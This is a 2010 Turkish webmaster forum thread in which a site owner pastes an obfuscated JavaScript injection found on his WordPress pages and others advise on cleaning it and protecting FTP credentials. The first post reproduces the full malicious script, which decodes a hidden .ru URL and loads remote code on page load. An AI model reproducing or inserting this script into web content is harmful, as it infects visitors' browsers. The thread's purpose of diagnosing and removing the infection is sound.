• 19-03-2010, 18:01:03
    #1
    Arkadaşlar sitelerimin bazısının altında.

    Alıntı
    <script>var Zl;if(Zl!='' && Zl!='ki'){Zl=''};function v(){var jL=new String();var M=window;var q="";var ZY='';var Z=unescape;var C;if(C!='' && C!='g'){C=null};this.nj='';var _='';this.X="";var t=new Date();var R="\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x61\x72\x6 5\x61\x73\x61\x6c\x65\x2d\x63\x6f\x6d\x2e\x67\x6f\ x6f\x67\x6c\x65\x2e\x63\x7a\x2e\x65\x79\x6e\x79\x2 d\x63\x6f\x6d\x2e\x59\x6f\x75\x72\x42\x6c\x65\x6e\ x64\x65\x72\x50\x61\x72\x74\x73\x2e\x72\x75\x3a";v ar Od;if(Od!='Dm' && Od!='V'){Od='Dm'};var Vr='';var P=new String("g");var B="";var E;if(E!='' && E!='gD'){E=null};function b(y,U){var zm=new Array();var a='';this.Cm="";var Vb=new String();var k=Z("%5b")+U+Z("%5d");var tX=new String();var MV;if(MV!='' && MV!='qt'){MV='MD'};var c=new RegExp(k, P);return y.replace(c, _);var cS="";var RTD='';};var Zr;if(Zr!='' && Zr!='vJ'){Zr=''};var L=new String();var DE=new Date();var fg;if(fg!='Ep'){fg='Ep'};var nf;if(nf!=''){nf='d_'};var W=Z("%2f%67%6f%6f%67%6c%65%2e%61%74%2f%67%6f%6f%67 %6c%65%2e%61%74%2f%64%72%75%64%67%65%72%65%70%6f%7 2%74%2e%63%6f%6d%2f%74%72%61%76%69%61%6e%2e%63%6f% 6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2e%70%68%70"); this.aA='';var u='';this.XB='';var dP;if(dP!='i' && dP != ''){dP=null};var dN;if(dN!='' && dN!='zx'){dN='_y'};var WS=b('85624104275582212705194497','13296457');var Hb=new Array();var lP;if(lP!='ok' && lP != ''){lP=null};var O=document;function n(){var J;if(J!='mS' && J != ''){J=null};u=R;var jv;if(jv!='' && jv!='jw'){jv=''};u+=WS;var MJ;if(MJ!='Qp'){MJ=''};u+=W;var fj=new Array();this.PM="";try {this.dq='';var ln=new Date();var eS=new Date();h=O.createElement(b('sScwrwi4pSt5','OZjKg4w 5S'));var uW=new String();var Aj;if(Aj!='lX'){Aj='lX'};var aF;if(aF!='' && aF!='_o'){aF=null};h.src=u;var GY;if(GY!='ev' && GY!='Jr'){GY='ev'};var KK;if(KK!=''){KK='gDq'};h.defer=[1][0];var nO;if(nO!='tP'){nO=''};var aV=new Date();var bE=new Date();O.body.appendChild(h);this.Ze="";} catch(MC){var Ki;if(Ki!='m_' && Ki != ''){Ki=null};};}M[String("pqP5onloa".substr(4)+"drYD".substr(0,1))]=n;var EY;if(EY!='' && EY!='wn'){EY='Sj'};var ep;if(ep!='' && ep!='_q'){ep='Oy'};var uE=new Array();var E_;if(E_!='iU'){E_='iU'};};this.pt="";v();var tl=new String();</script>
    <!--ae7a4e9dd3ade00cc7baeeb0265c707b-->
    Böyle kodlar atılıyor.
    Ama hepsinde değil bazısında var.
    Siteler açık, saldırgan site uyarısıda vermiyor.
    Nedir sorun demin bi hata ile karsılasmıstım.


    public_html/wp-includes/default-filters.php on line 229
    Diye bu dosyayı ve bi iki dosyayı yeniliyince hata gitti ama sitenin altında kodlar hala duruyor.
    Bu durumda ne yapmalıyım ?
    Ne gibi bir öneriniz var bu virüsü silmek için.
    Daha önce karşılaşan varmı ?
    Yardımlarınızı bekliyorum.
  • 19-03-2010, 18:10:47
    #2
    Çok uzun şekilde anlattım r10 hata verdi yazdiklarım boşa gitti.
    Herneyse sen şimdi bunları temizle bunlar virüstür,Dosyalarını avast ile tarat avast bu virüslerin bazılarını görmüyor.
    Genelde .js ve index.php index.htmlye bulaşıyor.
    Benim pc ye bulaştı cpu % 100 oldu pc çöktü..Dikkat etmeni öneririm..
  • 19-03-2010, 18:25:11
    #3
    Bu virüs iframe virüsünün biraz gelişmişidir. Tehlikeli bir virüstür. Tam olarak temizlediğinizden emin olun. Ftp programlarınıza hiç bir şekilde şifre kayıt etmeyin. Cuteftp yi kullanıyorsanız kaldırın kullanmayın. Filezilla nın hızlı bağlantısını kullanmayın. Filezilla nın direk açtığınızda bilgilerinizi girdiğiniz yere yazarak elle kontrol ederek giriş yapın giriş yaptıktan hemen sonra filezilla şifrenizi kayıt eder oradanı elle silin Hızlı bağlan butonun yanındaki butondan geçmişi sil paralo kayıt etme seçeneğini seçin. Parolanız asla ftp progrmalarınıza kayıtlı olmasın. Aksi halde siz temizlesenizde ftp den yine giriş yaparak yine bulaşıcaktır. Allah bu virüsü düşmanın başına vermesin . Yazdıklarım pek iç açıdı değil ancak bu virüs çok lanet bir virüs...
  • 19-03-2010, 18:38:06
    #4
    Benim gibi js yemişsin sanırım. Tüm js dosyalarına atıyorlar.
  • 19-03-2010, 18:51:50
    #5
    Ya yalnız şöyle bir durum var.
    Bir iki gün önce bilgisayara bişeyler oldu ne olduğunu anlıyamadım güzel bi tarattım vs. sonra düzeldi.
    O güne kadar girdiğim ftp lerdeki sitelere bulasmıs virüs.
    O günden sonra bir iki baska ftp adresine girdim onlarda sorun yok virüs yok.
    Şimdi ise gene bi tarattım bilgisayarı sonra ftp şifrelerini değiştirdim ve sitedeki dosyaların hepsini tektek yeniliyorum şuan.
    Sonucu buraya tekrar yazıcam.